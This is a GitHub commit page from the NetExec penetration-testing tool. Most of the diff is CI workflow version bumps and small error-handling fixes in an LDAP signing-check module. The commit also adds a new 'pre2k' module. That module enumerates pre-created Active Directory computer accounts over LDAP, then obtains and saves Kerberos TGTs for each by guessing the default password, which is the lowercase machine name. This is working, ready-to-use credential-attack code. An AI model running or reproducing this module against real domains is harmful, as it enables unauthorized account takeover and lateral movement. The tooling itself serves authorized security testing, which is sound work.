Skip to content

Commit 3fd8598

Browse files
authored
Merge branch 'Pennyw0rth:main' into main
2 parents 821f20e + 45a9121 commit 3fd8598

6 files changed

Lines changed: 138 additions & 11 deletions

File tree

.github/workflows/build-binaries.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,9 +13,9 @@ jobs:
1313
python-version: ["3.11"]
1414
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
1515
steps:
16-
- uses: actions/checkout@v3
16+
- uses: actions/checkout@v4
1717
- name: NetExec set up python on ${{ matrix.os }}
18-
uses: actions/setup-python@v4
18+
uses: actions/setup-python@v5
1919
with:
2020
python-version: ${{ matrix.python-version }}
2121
- name: Build Native Binary

.github/workflows/build-zipapps.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,9 +12,9 @@ jobs:
1212
os: [ubuntu-latest, macOS-latest, windows-latest]
1313
python-version: ["3.8", "3.9", "3.10", "3.11"]
1414
steps:
15-
- uses: actions/checkout@v3
15+
- uses: actions/checkout@v4
1616
- name: NetExec set up python on ${{ matrix.os }}
17-
uses: actions/setup-python@v4
17+
uses: actions/setup-python@v5
1818
with:
1919
python-version: ${{ matrix.python-version }}
2020
- name: Build Python ZipApp with Shiv

.github/workflows/lint.yml

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ name: Lint Python code with ruff
33

44
on:
55
push:
6+
workflow_dispatch:
67

78
jobs:
89
lint:
@@ -11,12 +12,12 @@ jobs:
1112
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
1213

1314
steps:
14-
- uses: actions/checkout@v3
15+
- uses: actions/checkout@v4
1516
- name: Install poetry
1617
run: |
1718
pipx install poetry
1819
- name: Set up Python
19-
uses: actions/setup-python@v4
20+
uses: actions/setup-python@v5
2021
with:
2122
python-version: 3.11
2223
cache: poetry

.github/workflows/test.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,12 +16,12 @@ jobs:
1616
os: [ubuntu-latest]
1717
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
1818
steps:
19-
- uses: actions/checkout@v3
19+
- uses: actions/checkout@v4
2020
- name: Install poetry
2121
run: |
2222
pipx install poetry
2323
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
24-
uses: actions/setup-python@v4
24+
uses: actions/setup-python@v5
2525
with:
2626
python-version: ${{ matrix.python-version }}
2727
cache: poetry

nxc/modules/ldap-checker.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -99,8 +99,8 @@ def DoesLdapsCompleteHandshake(dcIp):
9999
do_handshake_on_connect=False,
100100
suppress_ragged_eofs=False,
101101
)
102-
ssl_sock.connect((dcIp, 636))
103102
try:
103+
ssl_sock.connect((dcIp, 636))
104104
ssl_sock.do_handshake()
105105
ssl_sock.close()
106106
return True
@@ -126,7 +126,7 @@ async def run_ldap(target, credential):
126126
_, err = await ldapsClientConn.connect()
127127
if err is not None:
128128
context.log.fail(str(err))
129-
return False
129+
return None
130130

131131
_, err = await ldapsClientConn.bind()
132132
if err is not None:
@@ -142,7 +142,7 @@ async def run_ldap(target, credential):
142142
# because LDAP server signing requirements are not enforced
143143
except Exception as e:
144144
context.log.debug(str(e))
145-
return False
145+
return None
146146

147147

148148
# Run trough all our code blocks to determine LDAP signing and channel binding settings.

nxc/modules/pre2k.py

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
import os
2+
from impacket.krb5.kerberosv5 import getKerberosTGT
3+
from impacket.krb5.ccache import CCache
4+
from impacket.krb5.types import Principal
5+
from impacket.krb5 import constants
6+
7+
from nxc.parsers.ldap_results import parse_result_attributes
8+
from nxc.paths import NXC_PATH
9+
10+
11+
class NXCModule:
12+
"""
13+
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
14+
Module by: @shad0wcntr0ller
15+
"""
16+
name = "pre2k"
17+
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
18+
supported_protocols = ["ldap"]
19+
opsec_safe = True
20+
multiple_hosts = False
21+
22+
def options(self, context, module_options):
23+
pass
24+
25+
def on_login(self, context, connection):
26+
try:
27+
ldap_connection = connection.ldapConnection
28+
29+
# Define the search filter for pre-created computer accounts
30+
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
31+
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
32+
33+
context.log.info(f"Using search filter: {search_filter}")
34+
context.log.info(f"Attributes to retrieve: {attributes}")
35+
36+
computers = []
37+
38+
try:
39+
# Use paged search to retrieve all computer accounts with specific flags
40+
search_results = connection.search(search_filter, attributes)
41+
results = parse_result_attributes(search_results)
42+
context.log.debug(f"Search results: {results}")
43+
44+
for computer in results:
45+
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
46+
# Check if the account is a pre-created computer account
47+
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
48+
computers.append(computer["sAMAccountName"])
49+
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
50+
51+
# Save computers to file
52+
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
53+
output_file = os.path.join(domain_dir, "precreated_computers.txt")
54+
55+
# Create directories if they do not exist
56+
os.makedirs(domain_dir, exist_ok=True)
57+
58+
with open(output_file, "w") as file:
59+
for computer in computers:
60+
file.write(f"{computer}\n")
61+
62+
# Print discovered pre-created computer accounts
63+
if computers:
64+
for computer in computers:
65+
context.log.highlight(f"Pre-created computer account: {computer}")
66+
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
67+
else:
68+
context.log.info("No pre-created computer accounts found.")
69+
70+
# Obtain TGTs and save to ccache
71+
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
72+
os.makedirs(ccache_base_dir, exist_ok=True)
73+
74+
successful_tgts = 0
75+
76+
for computer in computers:
77+
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
78+
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
79+
successful_tgts += 1
80+
81+
# Summary of TGT results
82+
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
83+
84+
except Exception as e:
85+
context.log.fail(f"Error occurred during search: {e}")
86+
87+
ldap_connection.close()
88+
return True
89+
90+
except Exception as e:
91+
context.log.fail(f"Error occurred during LDAP connection: {e}")
92+
return False
93+
94+
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
95+
try:
96+
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
97+
password = username # Password is the machine name in lowercase
98+
context.log.info(f"Getting TGT for {username}@{domain}")
99+
100+
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
101+
clientName=userName,
102+
password=password,
103+
domain=domain,
104+
lmhash="",
105+
nthash="",
106+
aesKey="",
107+
kdcHost=kdcHost,
108+
serverName=None
109+
)
110+
111+
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
112+
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
113+
return True
114+
except Exception as e:
115+
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
116+
return False
117+
118+
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
119+
try:
120+
ccache = CCache()
121+
ccache.fromTGT(ticket, sessionKey, sessionKey)
122+
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
123+
ccache.saveFile(ccache_filename)
124+
context.log.info(f"Saved ticket in {ccache_filename}")
125+
except Exception as e:
126+
context.log.fail(f"Failed to save ticket for {username}: {e}")

0 commit comments

Comments
 (0)